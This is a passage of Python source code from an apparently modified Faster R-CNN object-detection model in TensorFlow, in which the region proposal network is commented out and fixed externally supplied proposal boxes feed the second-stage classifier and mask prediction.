expects a tf.float32 tensor') with tf.name_scope('Preprocessor'): outputs = shape_utils.static_or_dynamic_map_fn( self._image_resizer_fn, elems=inputs, dtype=[tf.float32, tf.int32], parallel_iterations=self._parallel_iterations) resized_inputs = outputs[0] true_image_shapes = outputs[1] return (self._feature_extractor.preprocess(resized_inputs), true_image_shapes) def _compute_clip_window(self, image_shapes): """Computes clip window for non max suppression based on image shapes. This function assumes that the clip window's left top corner is at (0, 0). Args: image_shapes: A 2-D int32 tensor of shape [batch_size, 3] containing shapes of images in the batch. Each row represents [height, width, channels] of an image. Returns: A 2-D float32 tensor of shape [batch_size, 4] containing the clip window for each image in the form [ymin, xmin, ymax, xmax]. """ clip_heights = image_shapes[:, 0] clip_widths = image_shapes[:, 1] clip_window = tf.to_float(tf.stack([tf.zeros_like(clip_heights), tf.zeros_like(clip_heights), clip_heights, clip_widths], axis=1)) return clip_window def predict(self, preprocessed_inputs, true_image_shapes): """Predicts unpostprocessed tensors from input tensor. This function takes an input batch of images and runs it through the forward pass of the network to yield "raw" un-postprocessed predictions. If `number_of_stages` is 1, this function only returns first stage RPN predictions (un-postprocessed). Otherwise it returns both first stage RPN predictions as well as second stage box classifier predictions. Other remarks: + Anchor pruning vs. clipping: following the recommendation of the Faster R-CNN paper, we prune anchors that venture outside the image window at training time and clip anchors to the image window at inference time. + Proposal padding: as described at the top of the file, proposals are padded to self._max_num_proposals and flattened so that proposals from all images within the input batch are arranged along the same batch dimension. Args: preprocessed_inputs: a [batch, height, width, channels] float tensor representing a batch of images. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: prediction_dict: a dictionary holding "raw" prediction tensors: 1) rpn_box_predictor_features: A 4-D float32 tensor with shape [batch_size, height, width, depth] to be used for predicting proposal boxes and corresponding objectness scores. 2) rpn_features_to_crop: A 4-D float32 tensor with shape [batch_size, height, width, depth] representing image features to crop using the proposal boxes predicted by the RPN. 3) image_shape: a 1-D tensor of shape [4] representing the input image shape. 4) rpn_box_encodings: 3-D float tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted boxes. 5) rpn_objectness_predictions_with_background: 3-D float tensor of shape [batch_size, num_anchors, 2] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). 6) anchors: A 2-D tensor of shape [num_anchors, 4] representing anchors for the first stage RPN (in absolute coordinates). Note that `num_anchors` can differ depending on whether the model is created in training or inference mode. (and if number_of_stages > 1): 7) refined_box_encodings: a 3-D tensor with shape [total_num_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings, where total_num_proposals=batch_size*self._max_num_proposals. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. 8) class_predictions_with_background: a 3-D tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors, where total_num_proposals=batch_size*self._max_num_proposals. Note that this tensor *includes* background class predictions (at class index 0). 9) num_proposals: An int32 tensor of shape [batch_size] representing the number of proposals generated by the RPN. `num_proposals` allows us to keep track of which entries are to be treated as zero paddings and which are not since we always pad the number of proposals to be `self.max_num_proposals` for each image. 10) proposal_boxes: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. 11) mask_predictions: (optional) a 4-D tensor with shape [total_num_padded_proposals, num_classes, mask_height, mask_width] containing instance mask predictions. Raises: ValueError: If `predict` is called before `preprocess`. """ '''(rpn_box_predictor_features, rpn_features_to_crop, anchors_boxlist, image_shape) = self._extract_rpn_feature_maps(preprocessed_inputs)''' print("Predict running") image_shape = tf.shape(preprocessed_inputs) rpn_features_to_crop, _ = self._feature_extractor.extract_proposal_features( preprocessed_inputs, scope=self.first_stage_feature_extractor_scope) #(rpn_box_encodings, rpn_objectness_predictions_with_background #) = self._predict_rpn_proposals(rpn_box_predictor_features) # The Faster R-CNN paper recommends pruning anchors that venture outside # the image window at training time and clipping at inference time. '''clip_window = tf.to_float(tf.stack([0, 0, image_shape[1], image_shape[2]])) if self._is_training: if self.clip_anchors_to_image: anchors_boxlist = box_list_ops.clip_to_window( anchors_boxlist, clip_window, filter_nonoverlapping=False) else: (rpn_box_encodings, rpn_objectness_predictions_with_background, anchors_boxlist) = self._remove_invalid_anchors_and_predictions( rpn_box_encodings, rpn_objectness_predictions_with_background, anchors_boxlist, clip_window) else: anchors_boxlist = box_list_ops.clip_to_window( anchors_boxlist, clip_window) self._anchors = anchors_boxlist''' prediction_dict = { #'rpn_box_predictor_features': rpn_box_predictor_features, 'rpn_features_to_crop': rpn_features_to_crop, 'image_shape': image_shape, #'rpn_box_encodings': rpn_box_encodings, #'rpn_objectness_predictions_with_background': #rpn_objectness_predictions_with_background, #'anchors': self._anchors.get() } if self._number_of_stages >= 2: '''prediction_dict.update(self._predict_second_stage( rpn_box_encodings, rpn_objectness_predictions_with_background, rpn_features_to_crop, self._anchors.get(), image_shape, true_image_shapes))''' prediction_dict.update(self._predict_second_stage( rpn_features_to_crop, image_shape, true_image_shapes)) if self._number_of_stages == 3: prediction_dict = self._predict_third_stage( prediction_dict, true_image_shapes) return prediction_dict def _image_batch_shape_2d(self, image_batch_shape_1d): """Takes a 1-D image batch shape tensor and converts it to a 2-D tensor. Example: If 1-D image batch shape tensor is [2, 300, 300, 3]. The corresponding 2-D image batch tensor would be [[300, 300, 3], [300, 300, 3]] Args: image_batch_shape_1d: 1-D tensor of the form [batch_size, height, width, channels]. Returns: image_batch_shape_2d: 2-D tensor of shape [batch_size, 3] were each row is of the form [height, width, channels]. """ return tf.tile(tf.expand_dims(image_batch_shape_1d[1:], 0), [image_batch_shape_1d[0], 1]) '''def _predict_second_stage(self, rpn_box_encodings, rpn_objectness_predictions_with_background, rpn_features_to_crop, anchors, image_shape, true_image_shapes): """Predicts the output tensors from second stage of Faster R-CNN. Args: rpn_box_encodings: 4-D float tensor of shape [batch_size, num_valid_anchors, self._box_coder.code_size] containing predicted boxes. rpn_objectness_predictions_with_background: 2-D float tensor of shape [batch_size, num_valid_anchors, 2] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). rpn_features_to_crop: A 4-D float32 tensor with shape [batch_size, height, width, depth] representing image features to crop using the proposal boxes predicted by the RPN. anchors: 2-D float tensor of shape [num_anchors, self._box_coder.code_size]. image_shape: A 1D int32 tensors of size [4] containing the image shape. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: prediction_dict: a dictionary holding "raw" prediction tensors: 1) refined_box_encodings: a 3-D tensor with shape [total_num_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings, where total_num_proposals=batch_size*self._max_num_proposals. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. 2) class_predictions_with_background: a 3-D tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors, where total_num_proposals=batch_size*self._max_num_proposals. Note that this tensor *includes* background class predictions (at class index 0). 3) num_proposals: An int32 tensor of shape [batch_size] representing the number of proposals generated by the RPN. `num_proposals` allows us to keep track of which entries are to be treated as zero paddings and which are not since we always pad the number of proposals to be `self.max_num_proposals` for each image. 4) proposal_boxes: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. 5) proposal_boxes_normalized: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in normalized coordinates. Can be used to override the boxes proposed by the RPN, thus enabling one to extract features and get box classification and prediction for externally selected areas of the image. 6) box_classifier_features: a 4-D float32 tensor representing the features for each proposal. """ image_shape_2d = self._image_batch_shape_2d(image_shape) proposal_boxes_normalized, _, num_proposals = self._postprocess_rpn( rpn_box_encodings, rpn_objectness_predictions_with_background, anchors, image_shape_2d, true_image_shapes) # Override RPN proposals # proposal_boxes_normalized = tf.Print(proposal_boxes_normalized, [], message=("original size= " + str(proposal_boxes_normalized.shape[1]))) # proposal_boxes_normalized = tf.constant(self.proposals, dtype='float32') flattened_proposal_feature_maps = ( self._compute_second_stage_input_feature_maps( rpn_features_to_crop, proposal_boxes_normalized)) box_classifier_features = ( self._feature_extractor.extract_box_classifier_features( flattened_proposal_feature_maps, scope=self.second_stage_feature_extractor_scope)) if self._mask_rcnn_box_predictor.is_keras_model: box_predictions = self._mask_rcnn_box_predictor( [box_classifier_features], prediction_stage=2) else: box_predictions = self._mask_rcnn_box_predictor.predict( [box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=2) refined_box_encodings = tf.squeeze( box_predictions[box_predictor.BOX_ENCODINGS], axis=1, name='all_refined_box_encodings') class_predictions_with_background = tf.squeeze( box_predictions[box_predictor.CLASS_PREDICTIONS_WITH_BACKGROUND], axis=1, name='all_class_predictions_with_background') absolute_proposal_boxes = ops.normalized_to_image_coordinates( proposal_boxes_normalized, image_shape, self._parallel_iterations) prediction_dict = { 'refined_box_encodings': refined_box_encodings, 'class_predictions_with_background': class_predictions_with_background, 'num_proposals': num_proposals, 'proposal_boxes': absolute_proposal_boxes, 'box_classifier_features': box_classifier_features, 'proposal_boxes_normalized': proposal_boxes_normalized, } return prediction_dict''' def _predict_second_stage(self, rpn_features_to_crop, image_shape, true_image_shapes): """Predicts the output tensors from second stage of Faster R-CNN. Args: rpn_features_to_crop: A 4-D float32 tensor with shape [batch_size, height, width, depth] representing image features to crop using the proposal boxes predicted by the RPN. image_shape: A 1D int32 tensors of size [4] containing the image shape. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: prediction_dict: a dictionary holding "raw" prediction tensors: 1) refined_box_encodings: a 3-D tensor with shape [total_num_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings, where total_num_proposals=batch_size*self._max_num_proposals. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. 2) class_predictions_with_background: a 3-D tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors, where total_num_proposals=batch_size*self._max_num_proposals. Note that this tensor *includes* background class predictions (at class index 0). 3) num_proposals: An int32 tensor of shape [batch_size] representing the number of proposals generated by the RPN. `num_proposals` allows us to keep track of which entries are to be treated as zero paddings and which are not since we always pad the number of proposals to be `self.max_num_proposals` for each image. 4) proposal_boxes: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. 5) proposal_boxes_normalized: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in normalized coordinates. Can be used to override the boxes proposed by the RPN, thus enabling one to extract features and get box classification and prediction for externally selected areas of the image. 6) box_classifier_features: a 4-D float32 tensor representing the features for each proposal. """ image_shape_2d = self._image_batch_shape_2d(image_shape) # same as true shape '''proposal_boxes_normalized, _, num_proposals = self._postprocess_rpn( rpn_box_encodings, rpn_objectness_predictions_with_background, anchors, image_shape_2d, true_image_shapes)''' # Override RPN proposals # proposal_boxes_normalized = tf.Print(proposal_boxes_normalized, [], message=("original size= " + str(proposal_boxes_normalized.shape[1]))) # normalize proposal boxes def normalize_boxes(args): proposal_boxes_per_image = args[0] image_shape = args[1] normalized_boxes_per_image = box_list_ops.to_normalized_coordinates( box_list.BoxList(proposal_boxes_per_image), image_shape[0], image_shape[1], check_range=False).get() return normalized_boxes_per_image def to_absolute_boxes(args): proposal_boxes_per_image = args[0] image_shape = args[1] normalized_boxes_per_image = box_list_ops.to_absolute_coordinates( box_list.BoxList(proposal_boxes_per_image), image_shape[0], image_shape[1], check_range=False).get() return normalized_boxes_per_image proposal_boxes = tf.constant(self.proposals, dtype='float32') proposal_boxes = shape_utils.static_or_dynamic_map_fn( to_absolute_boxes, elems=[proposal_boxes, true_image_shapes], dtype=tf.float32) num_proposals = tf.constant([proposal_boxes.shape[1]], dtype='int32') # single_image_boxlist = box_list.BoxList(proposals_absolute) # proposal_boxes = self._sample_box_classifier_minibatch_single_image(single_image_boxlist, num_proposals, groundtruth_boxlists[0], # groundtruth_classes_with_background_list[0], groundtruth_weights_list[0]).get() # Minibatch sampling during training if self._is_training: proposal_boxes = tf.stop_gradient(proposal_boxes) if not self._hard_example_miner: placeholder_scores = tf.zeros((1, proposal_boxes.shape[1], 2)) #proposal_boxes = tf.Print(proposal_boxes, [proposal_boxes], message="1: ") (groundtruth_boxlists, groundtruth_classes_with_background_list, _, groundtruth_weights_list ) = self._format_groundtruth_data(true_image_shapes) (proposal_boxes, _, num_proposals) = self._sample_box_classifier_batch(proposal_boxes, placeholder_scores, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, true_image_shapes[0]) #proposal_boxes = tf.Print(proposal_boxes, [proposal_boxes], message="2: ") #proposal_boxes = tf.Print(proposal_boxes, [], message=("Shape of pboxes " + str(proposal_boxes.shape[1]))) #num_proposals = tf.Print(num_proposals, [num_proposals]) proposal_boxes_normalized = shape_utils.static_or_dynamic_map_fn( normalize_boxes, elems=[proposal_boxes, true_image_shapes], dtype=tf.float32) #proposal_boxes_normalized = tf.Print(proposal_boxes_normalized, [proposal_boxes_normalized], message="3: ") #proposal_boxes_normalized = tf.Print(proposal_boxes_normalized, [tf.shape(proposal_boxes_normalized)], message=("Shape of pboxes ")) #proposal_boxes_normalized = tf.constant(self.proposals[:, 0:64, :], dtype='float32') #proposal_boxes_normalized = tf.Print(proposal_boxes_normalized, [], message=("Shape of minibatch " + str(proposal_boxes_normalized.shape[1]))) flattened_proposal_feature_maps = ( self._compute_second_stage_input_feature_maps( rpn_features_to_crop, proposal_boxes_normalized)) #flattened_proposal_feature_maps = tf.stop_gradient(flattened_proposal_feature_maps) #flattened_proposal_feature_maps = tf.Print(flattened_proposal_feature_maps, [], message=("Cropped props : " + str(flattened_proposal_feature_maps.shape))) box_classifier_features = ( self._feature_extractor.extract_box_classifier_features( flattened_proposal_feature_maps, scope=self.second_stage_feature_extractor_scope)) if self._mask_rcnn_box_predictor.is_keras_model: box_predictions = self._mask_rcnn_box_predictor( [box_classifier_features], prediction_stage=2) else: box_predictions = self._mask_rcnn_box_predictor.predict( [box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=2) refined_box_encodings = tf.squeeze( box_predictions[box_predictor.BOX_ENCODINGS], axis=1, name='all_refined_box_encodings') class_predictions_with_background = tf.squeeze( box_predictions[box_predictor.CLASS_PREDICTIONS_WITH_BACKGROUND], axis=1, name='all_class_predictions_with_background') absolute_proposal_boxes = ops.normalized_to_image_coordinates( proposal_boxes_normalized, image_shape, self._parallel_iterations) prediction_dict = { 'refined_box_encodings': refined_box_encodings, 'class_predictions_with_background': class_predictions_with_background, 'num_proposals': num_proposals, 'proposal_boxes': absolute_proposal_boxes, 'box_classifier_features': box_classifier_features, 'proposal_boxes_normalized': proposal_boxes_normalized, } return prediction_dict def _predict_third_stage(self, prediction_dict, image_shapes): """Predicts non-box, non-class outputs using refined detections. For training, masks as predicted directly on the box_classifier_features, which are region-features from the initial anchor boxes. For inference, this happens after calling the post-processing stage, such that masks are only calculated for the top scored boxes. Args: prediction_dict: a dictionary holding "raw" prediction tensors: 1) refined_box_encodings: a 3-D tensor with shape [total_num_proposals, num_classes, self._box_coder.code_size] representing predicted (final) refined box encodings, where total_num_proposals=batch_size*self._max_num_proposals. If using a shared box across classes the shape will instead be [total_num_proposals, 1, self._box_coder.code_size]. 2) class_predictions_with_background: a 3-D tensor with shape [total_num_proposals, num_classes + 1] containing class predictions (logits) for each of the anchors, where total_num_proposals=batch_size*self._max_num_proposals. Note that this tensor *includes* background class predictions (at class index 0). 3) num_proposals: An int32 tensor of shape [batch_size] representing the number of proposals generated by the RPN. `num_proposals` allows us to keep track of which entries are to be treated as zero paddings and which are not since we always pad the number of proposals to be `self.max_num_proposals` for each image. 4) proposal_boxes: A float32 tensor of shape [batch_size, self.max_num_proposals, 4] representing decoded proposal bounding boxes in absolute coordinates. 5) box_classifier_features: a 4-D float32 tensor representing the features for each proposal. image_shapes: A 2-D int32 tensors of shape [batch_size, 3] containing shapes of images in the batch. Returns: prediction_dict: a dictionary that in addition to the input predictions does hold the following predictions as well: 1) mask_predictions: a 4-D tensor with shape [batch_size, max_detection, mask_height, mask_width] containing instance mask predictions. """ if self._is_training: curr_box_classifier_features = prediction_dict['box_classifier_features'] detection_classes = prediction_dict['class_predictions_with_background'] if self._mask_rcnn_box_predictor.is_keras_model: mask_predictions = self._mask_rcnn_box_predictor( [curr_box_classifier_features], prediction_stage=3) else: mask_predictions = self._mask_rcnn_box_predictor.predict( [curr_box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=3) prediction_dict['mask_predictions'] = tf.squeeze(mask_predictions[ box_predictor.MASK_PREDICTIONS], axis=1) else: detections_dict = self._postprocess_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], image_shapes) prediction_dict.update(detections_dict) detection_boxes = detections_dict[ fields.DetectionResultFields.detection_boxes] detection_classes = detections_dict[ fields.DetectionResultFields.detection_classes] rpn_features_to_crop = prediction_dict['rpn_features_to_crop'] batch_size = tf.shape(detection_boxes)[0] max_detection = tf.shape(detection_boxes)[1] flattened_detected_feature_maps = ( self._compute_second_stage_input_feature_maps( rpn_features_to_crop, detection_boxes)) curr_box_classifier_features = ( self._feature_extractor.extract_box_classifier_features( flattened_detected_feature_maps, scope=self.second_stage_feature_extractor_scope)) if self._mask_rcnn_box_predictor.is_keras_model: mask_predictions = self._mask_rcnn_box_predictor( [curr_box_classifier_features], prediction_stage=3) else: mask_predictions = self._mask_rcnn_box_predictor.predict( [curr_box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=3) detection_masks = tf.squeeze(mask_predictions[ box_predictor.MASK_PREDICTIONS], axis=1) _, num_classes, mask_height, mask_width = ( detection_masks.get_shape().as_list()) _, max_detection = detection_classes.get_shape().as_list() if num_classes > 1: detection_masks = self._gather_instance_masks( detection_masks, detection_classes) prediction_dict[fields.DetectionResultFields.detection_masks] = ( tf.reshape(detection_masks, [batch_size, max_detection, mask_height, mask_width])) return prediction_dict def _gather_instance_masks(self, instance_masks, classes): """Gathers the masks that correspond to classes. Args: instance_masks: A 4-D float32 tensor with shape [K, num_classes, mask_height, mask_width]. classes: A 2-D int32 tensor with shape [batch_size, max_detection]. Returns: masks: a 3-D float32 tensor with shape [K, mask_height, mask_width]. """ _, num_classes, height, width = instance_masks.get_shape().as_list() k = tf.shape(instance_masks)[0] instance_masks = tf.reshape(instance_masks, [-1, height, width]) classes = tf.to_int32(tf.reshape(classes, [-1])) gather_idx = tf.range(k) * num_classes + classes return tf.gather(instance_masks, gather_idx) def _extract_rpn_feature_maps(self, preprocessed_inputs): """Extracts RPN features. This function extracts two feature maps: a feature map to be directly fed to a box predictor (to predict location and objectness scores for proposals) and a feature map from which to crop regions which will then be sent to the second stage box classifier. Args: preprocessed_inputs: a [batch, height, width, channels] image tensor. Returns: rpn_box_predictor_features: A 4-D float32 tensor with shape [batch, height, width, depth] to be used for predicting proposal boxes and corresponding objectness scores. rpn_features_to_crop: A 4-D float32 tensor with shape [batch, height, width, depth] representing image features to crop using the proposals boxes. anchors: A BoxList representing anchors (for the RPN) in absolute coordinates. image_shape: A 1-D tensor representing the input image shape. """ image_shape = tf.shape(preprocessed_inputs) rpn_features_to_crop, _ = self._feature_extractor.extract_proposal_features( preprocessed_inputs, scope=self.first_stage_feature_extractor_scope) feature_map_shape = tf.shape(rpn_features_to_crop) anchors = box_list_ops.concatenate( self._first_stage_anchor_generator.generate([(feature_map_shape[1], feature_map_shape[2])])) with slim.arg_scope(self._first_stage_box_predictor_arg_scope_fn()): kernel_size = self._first_stage_box_predictor_kernel_size rpn_box_predictor_features = slim.conv2d( rpn_features_to_crop, self._first_stage_box_predictor_depth, kernel_size=[kernel_size, kernel_size], rate=self._first_stage_atrous_rate, activation_fn=tf.nn.relu6) return (rpn_box_predictor_features, rpn_features_to_crop, anchors, image_shape) def _predict_rpn_proposals(self, rpn_box_predictor_features): """Adds box predictors to RPN feature map to predict proposals. Note resulting tensors will not have been postprocessed. Args: rpn_box_predictor_features: A 4-D float32 tensor with shape [batch, height, width, depth] to be used for predicting proposal boxes and corresponding objectness scores. Returns: box_encodings: 3-D float tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted boxes. objectness_predictions_with_background: 3-D float tensor of shape [batch_size, num_anchors, 2] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). Raises: RuntimeError: if the anchor generator generates anchors corresponding to multiple feature maps. We currently assume that a single feature map is generated for the RPN. """ num_anchors_per_location = ( self._first_stage_anchor_generator.num_anchors_per_location()) if len(num_anchors_per_location) != 1: raise RuntimeError('anchor_generator is expected to generate anchors ' 'corresponding to a single feature map.') if self._first_stage_box_predictor.is_keras_model: box_predictions = self._first_stage_box_predictor( [rpn_box_predictor_features]) else: box_predictions = self._first_stage_box_predictor.predict( [rpn_box_predictor_features], num_anchors_per_location, scope=self.first_stage_box_predictor_scope) box_encodings = tf.concat( box_predictions[box_predictor.BOX_ENCODINGS], axis=1) objectness_predictions_with_background = tf.concat( box_predictions[box_predictor.CLASS_PREDICTIONS_WITH_BACKGROUND], axis=1) return (tf.squeeze(box_encodings, axis=2), objectness_predictions_with_background) def _remove_invalid_anchors_and_predictions( self, box_encodings, objectness_predictions_with_background, anchors_boxlist, clip_window): """Removes anchors that (partially) fall outside an image. Also removes associated box encodings and objectness predictions. Args: box_encodings: 3-D float tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted boxes. objectness_predictions_with_background: 3-D float tensor of shape [batch_size, num_anchors, 2] containing class predictions (logits) for each of the anchors. Note that this tensor *includes* background class predictions (at class index 0). anchors_boxlist: A BoxList representing num_anchors anchors (for the RPN) in absolute coordinates. clip_window: a 1-D tensor representing the [ymin, xmin, ymax, xmax] extent of the window to clip/prune to. Returns: box_encodings: 4-D float tensor of shape [batch_size, num_valid_anchors, self._box_coder.code_size] containing predicted boxes, where num_valid_anchors <= num_anchors objectness_predictions_with_background: 2-D float tensor of shape [batch_size, num_valid_anchors, 2] containing class predictions (logits) for each of the anchors, where num_valid_anchors <= num_anchors. Note that this tensor *includes* background class predictions (at class index 0). anchors: A BoxList representing num_valid_anchors anchors (for the RPN) in absolute coordinates. """ pruned_anchors_boxlist, keep_indices = box_list_ops.prune_outside_window( anchors_boxlist, clip_window) def _batch_gather_kept_indices(predictions_tensor): return shape_utils.static_or_dynamic_map_fn( partial(tf.gather, indices=keep_indices), elems=predictions_tensor, dtype=tf.float32, parallel_iterations=self._parallel_iterations, back_prop=True) return (_batch_gather_kept_indices(box_encodings), _batch_gather_kept_indices(objectness_predictions_with_background), pruned_anchors_boxlist) def _flatten_first_two_dimensions(self, inputs): """Flattens `K-d` tensor along batch dimension to be a `(K-1)-d` tensor. Converts `inputs` with shape [A, B, ..., depth] into a tensor of shape [A * B, ..., depth]. Args: inputs: A float tensor with shape [A, B, ..., depth]. Note that the first two and last dimensions must be statically defined. Returns: A float tensor with shape [A * B, ..., depth] (where the first and last dimension are statically defined. """ combined_shape = shape_utils.combined_static_and_dynamic_shape(inputs) flattened_shape = tf.stack([combined_shape[0] * combined_shape[1]] + combined_shape[2:]) return tf.reshape(inputs, flattened_shape) def postprocess(self, prediction_dict, true_image_shapes): """Convert prediction tensors to final detections. This function converts raw predictions tensors to final detection results. See base class for output format conventions. Note also that by default, scores are to be interpreted as logits, but if a score_converter is used, then scores are remapped (and may thus have a different interpretation). If number_of_stages=1, the returned results represent proposals from the first stage RPN and are padded to have self.max_num_proposals for each image; otherwise, the results can be interpreted as multiclass detections from the full two-stage model and are padded to self._max_detections. Args: prediction_dict: a dictionary holding prediction tensors (see the documentation for the predict method. If number_of_stages=1, we expect prediction_dict to contain `rpn_box_encodings`, `rpn_objectness_predictions_with_background`, `rpn_features_to_crop`, and `anchors` fields. Otherwise we expect prediction_dict to additionally contain `refined_box_encodings`, `class_predictions_with_background`, `num_proposals`, `proposal_boxes` and, optionally, `mask_predictions` fields. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: detections: a dictionary containing the following fields detection_boxes: [batch, max_detection, 4] detection_scores: [batch, max_detections] detection_classes: [batch, max_detections] (this entry is only created if rpn_mode=False) num_detections: [batch] Raises: ValueError: If `predict` is called before `preprocess`. """ with tf.name_scope('FirstStagePostprocessor'): if self._number_of_stages == 1: # Michele's addition proposal_boxes, proposal_scores, num_proposals = self._postprocess_rpn( prediction_dict['rpn_box_encodings'], prediction_dict['rpn_objectness_predictions_with_background'], prediction_dict['anchors'], true_image_shapes, true_image_shapes) return { fields.DetectionResultFields.detection_boxes: proposal_boxes, fields.DetectionResultFields.detection_scores: proposal_scores, fields.DetectionResultFields.num_detections: tf.to_float(num_proposals), } # TODO(jrru): Remove mask_predictions from _post_process_box_classifier. with tf.name_scope('SecondStagePostprocessor'): if (self._number_of_stages == 2 or (self._number_of_stages == 3 and self._is_training)): mask_predictions = prediction_dict.get(box_predictor.MASK_PREDICTIONS) detections_dict = self._postprocess_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], true_image_shapes, mask_predictions=mask_predictions) return detections_dict if self._number_of_stages == 3: # Post processing is already performed in 3rd stage. We need to transfer # postprocessed tensors from `prediction_dict` to `detections_dict`. detections_dict = {} for key in prediction_dict: if key == fields.DetectionResultFields.detection_masks: detections_dict[key] = tf.sigmoid(prediction_dict[key]) elif 'detection' in key: detections_dict[key] = prediction_dict[key] return detections_dict def _postprocess_rpn(self, rpn_box_encodings_batch, rpn_objectness_predictions_with_background_batch, anchors, image_shapes, true_image_shapes): """Converts first stage prediction tensors from the RPN to proposals. This function decodes the raw RPN predictions, runs non-max suppression on the result. Note that the behavior of this function is slightly modified during training --- specifically, we stop the gradient from passing through the proposal boxes and we only return a balanced sampled subset of proposals with size `second_stage_batch_size`. Args: rpn_box_encodings_batch: A 3-D float32 tensor of shape [batch_size, num_anchors, self._box_coder.code_size] containing predicted proposal box encodings. rpn_objectness_predictions_with_background_batch: A 3-D float tensor of shape [batch_size, num_anchors, 2] containing objectness predictions (logits) for each of the anchors with 0 corresponding to background and 1 corresponding to object. anchors: A 2-D tensor of shape [num_anchors, 4] representing anchors for the first stage RPN. Note that `num_anchors` can differ depending on whether the model is created in training or inference mode. image_shapes: A 2-D tensor of shape [batch, 3] containing the shapes of images in the batch. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Returns: proposal_boxes: A float tensor with shape [batch_size, max_num_proposals, 4] representing the (potentially zero padded) proposal boxes for all images in the batch. These boxes are represented as normalized coordinates. proposal_scores: A float tensor with shape [batch_size, max_num_proposals] representing the (potentially zero padded) proposal objectness scores for all images in the batch. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. """ rpn_box_encodings_batch = tf.expand_dims(rpn_box_encodings_batch, axis=2) rpn_encodings_shape = shape_utils.combined_static_and_dynamic_shape( rpn_box_encodings_batch) tiled_anchor_boxes = tf.tile( tf.expand_dims(anchors, 0), [rpn_encodings_shape[0], 1, 1]) proposal_boxes = self._batch_decode_boxes(rpn_box_encodings_batch, tiled_anchor_boxes) proposal_boxes = tf.squeeze(proposal_boxes, axis=2) rpn_objectness_softmax_without_background = tf.nn.softmax( rpn_objectness_predictions_with_background_batch)[:, :, 1] clip_window = self._compute_clip_window(image_shapes) (proposal_boxes, proposal_scores, _, _, _, num_proposals) = post_processing.batch_multiclass_non_max_suppression( tf.expand_dims(proposal_boxes, axis=2), tf.expand_dims(rpn_objectness_softmax_without_background, axis=2), self._first_stage_nms_score_threshold, self._first_stage_nms_iou_threshold, self._first_stage_max_proposals, self._first_stage_max_proposals, clip_window=clip_window) if self._is_training: proposal_boxes = tf.stop_gradient(proposal_boxes) if not self._hard_example_miner: (groundtruth_boxlists, groundtruth_classes_with_background_list, _, groundtruth_weights_list ) = self._format_groundtruth_data(true_image_shapes) (proposal_boxes, proposal_scores, num_proposals) = self._sample_box_classifier_batch( proposal_boxes, proposal_scores, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list) # normalize proposal boxes def normalize_boxes(args): proposal_boxes_per_image = args[0] image_shape = args[1] normalized_boxes_per_image = box_list_ops.to_normalized_coordinates( box_list.BoxList(proposal_boxes_per_image), image_shape[0], image_shape[1], check_range=False).get() return normalized_boxes_per_image normalized_proposal_boxes = shape_utils.static_or_dynamic_map_fn( normalize_boxes, elems=[proposal_boxes, image_shapes], dtype=tf.float32) return normalized_proposal_boxes, proposal_scores, num_proposals def _sample_box_classifier_batch( self, proposal_boxes, proposal_scores, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, debug=None): """Samples a minibatch for second stage. Args: proposal_boxes: A float tensor with shape [batch_size, num_proposals, 4] representing the (potentially zero padded) proposal boxes for all images in the batch. These boxes are represented in absolute coordinates. proposal_scores: A float tensor with shape [batch_size, num_proposals] representing the (potentially zero padded) proposal objectness scores for all images in the batch. num_proposals: A Tensor of type `int32`. A 1-D tensor of shape [batch] representing the number of proposals predicted for each image in the batch. groundtruth_boxlists: A list of BoxLists containing (absolute) coordinates of the groundtruth boxes. 